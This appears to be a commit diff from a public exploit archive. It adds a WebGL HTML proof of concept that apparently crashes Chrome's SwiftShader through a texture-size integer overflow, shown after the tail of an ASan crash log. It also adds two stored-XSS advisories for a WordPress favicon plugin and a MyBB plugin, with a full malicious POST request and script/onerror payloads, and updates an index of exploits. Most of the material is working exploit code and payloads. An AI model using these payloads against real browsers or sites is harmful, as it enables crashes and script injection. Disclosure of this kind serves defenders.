0x0c227fffba60: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa
0x0c227fffba70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fffba80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fffba90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==145933==ABORTING
-->
<html>
<head>
</head>
<body onload="start()">
<canvas id='gl' width='128' height='128' />
<script>
function web(gl) {
const width = 8190;
const height = 8190;
var src_fb = gl.createFramebuffer();
gl.bindFramebuffer(gl.READ_FRAMEBUFFER, src_fb);
var src_rb = gl.createRenderbuffer();
gl.bindRenderbuffer(gl.RENDERBUFFER, src_rb);
gl.renderbufferStorage(gl.RENDERBUFFER, gl.RGBA32UI, width, height);
gl.framebufferRenderbuffer(gl.READ_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.RENDERBUFFER, src_rb);
dst_tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_CUBE_MAP, dst_tex);
for (var i = 3; i < 0x100000000; ++i) {
gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, width, height, 0);
}
gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, 16, 16, 0);
gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, 16, 16, 0);
}
function start() {
var canvas = document.getElementById('gl');
var gl = canvas.getContext('webgl2');
if (gl) {
web(gl);
}
}
</script>
</body>
</html>

View file

@ -0,0 +1,95 @@
# Exploit Title: WordPress Plugin All In One Favicon <= 4.6 - Authenticated Multiple XSS Persistent
# Date: 2018-07-10
# Exploit Author: Javier Olmedo
# Website: https://hackpuntes.com/
# Vendor Homepage: http://www.techotronic.de/
# Software Link: https://wordpress.org/plugins/all-in-one-favicon/
# Version/s: 4.6 and below
# Patched Version: unpatched
# CVE : 2018-13832
# WPVULNDB: https://wpvulndb.com/vulnerabilities/9099
Plugin description:
All In One Favicon adds favicons to your site and your admin pages. You can either use favicons you already uploaded or use the builtin upload mechanism to upload a favicon to your WordPress installation.
Description:
WordPress Plugin All In One Favicon before 4.6 allows remote authenticated users to execute javascript code through XSS Persistent attacks.
Technical details:
The following parameters are vulnerable:
backendApple-Text
backendICO-Text
backendPNG-Text
backendGIF-Text
frontendApple-Text
frontendICO-Text
frontendPNG-Text
frontendGIF-Text
Proof of Concept (PoC):
The following POST request will cause it to display an alert in the browser when it runs as an authenticated user with permissions:
POST /wordpress/wp-admin/admin-post.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress/wp-admin/options-general.php?page=all-in-one-favicon%2Fall-in-one-favicon.php
Content-Type: multipart/form-data; boundary=---------------------------168911549614148
Content-Length: 3407
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------168911549614148
Content-Disposition: form-data; name="_wpnonce"
9df031414d
-----------------------------168911549614148
Content-Disposition: form-data; name="_wp_http_referer"
/wordpress/wp-admin/options-general.php?page=all-in-one-favicon%2Fall-in-one-favicon.php
-----------------------------168911549614148
Content-Disposition: form-data; name="option_page"
aio-favicon_settings
-----------------------------168911549614148
Content-Disposition: form-data; name="aio-favicon_settings[frontendICO-text]"
"><img src=a onerror=alert(1)>
-----------------------------168911549614148
Content-Disposition: form-data; name="action"
aioFaviconUpdateSettings
-----------------------------168911549614148
Content-Disposition: form-data; name="aioFaviconUpdateSettings"
Guardar cambios
-----------------------------168911549614148
Content-Disposition: form-data; name="action"
aioFaviconUpdateSettings
-----------------------------168911549614148
Content-Disposition: form-data; name="aio-favicon_settings[removeLinkFromMetaBox]"
true
-----------------------------168911549614148
Content-Disposition: form-data; name="action"
aioFaviconUpdateSettings
-----------------------------168911549614148--
Payloads:
"><img src=a onerror=alert(1)>
"><img src=a onerror=alert(String.fromCharCode(88,83,83))>
Timeline:
15/03/2018 I send the report. (no answer)
27/05/2018 I send the report, again. (no answer)
10/07/2018 Public disclosure.
References:
https://hackpuntes.com/cve-2018-13832-wordpress-plugin-all-in-one-favicon-4-6-autenticado-multiples-cross-site-scripting-persistentes/

View file

@ -0,0 +1,23 @@
# Exploit Title: MyBB New Threads Plugin - Cross-Site Scripting
# Date: 7/16/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1143
# Version: 1.1
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-14392
1. Description:
New Threads is a plugin that displays new threads on the index page. The thread titles allow XSS.
2. Proof of Concept:
- Create a new thread with the following subject <script>alert('XSS')</script>
- Visit the index page to see alert.
3. Solution:
Update to 1.2

View file

@ -6019,6 +6019,9 @@ id,file,description,date,author,type,platform,port
45017,exploits/windows/dos/45017.html,"G DATA Total Security 25.4.0.3 - Activex Buffer Overflow",2018-07-13,"Filipe Xavier Oliveira",dos,windows,
45032,exploits/multiple/dos/45032.txt,"macOS/iOS - JavaScript Injection Bug in OfficeImporter",2018-07-16,"Google Security Research",dos,multiple,
45033,exploits/linux/dos/45033.c,"Linux (Ubuntu) - Other Users coredumps Can Be Read via setgid Directory and killpriv Bypass",2018-07-16,"Google Security Research",dos,linux,
45059,exploits/multiple/dos/45059.txt,"Google Chrome - Swiftshader Texture Allocation Integer Overflow",2018-07-19,"Google Security Research",dos,multiple,
45060,exploits/multiple/dos/45060.html,"Google Chrome - Swiftshader Blitting Floating-Point Precision Errors",2018-07-19,"Google Security Research",dos,multiple,
45061,exploits/multiple/dos/45061.html,"Google Chrome - SwiftShader OpenGL Texture Bindings Reference Count Leak",2018-07-19,"Google Security Research",dos,multiple,
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@ -9819,6 +9822,7 @@ id,file,description,date,author,type,platform,port
45026,exploits/windows/local/45026.txt,"Microsoft Enterprise Mode Site List Manager - XML External Entity Injection",2018-07-16,hyp3rlinx,local,windows,
45041,exploits/hardware/local/45041.txt,"Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway - Restricted Shell Escape",2018-07-17,LiquidWorm,local,hardware,
45048,exploits/multiple/local/45048.js,"JavaScript Core - Arbitrary Code Execution",2018-07-11,ret2,local,multiple,
45058,exploits/linux/local/45058.rb,"Linux - BPF Sign Extension Local Privilege Escalation (Metasploit)",2018-07-19,Metasploit,local,linux,
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@ -39682,4 +39686,6 @@ id,file,description,date,author,type,platform,port
45049,exploits/php/webapps/45049.txt,"Smart SMS & Email Manager 3.3 - 'contact_type_id' SQL Injection",2018-07-18,AkkuS,webapps,php,80
45053,exploits/multiple/webapps/45053.txt,"Open-AudIT Community 2.1.1 - Cross-Site Scripting",2018-07-18,"Ranjeet Jaiswal",webapps,multiple,
45054,exploits/php/webapps/45054.txt,"FTP2FTP 1.0 - Arbitrary File Download",2018-07-18,AkkuS,webapps,php,
45056,exploits/php/webapps/45056.txt,"WordPress Plugin All In One Favicon 4.6 - Cross-Site Scripting",2018-07-19,"Javier Olmedo",webapps,php,80
45055,exploits/php/webapps/45055.py,"Modx Revolution < 2.6.4 - Remote Code Execution",2018-07-18,"Vitalii Rudnykh",webapps,php,
45057,exploits/php/webapps/45057.txt,"MyBB New Threads Plugin 1.1 - Cross-Site Scripting",2018-07-19,0xB9,webapps,php,80

Can't render this file because it is too large.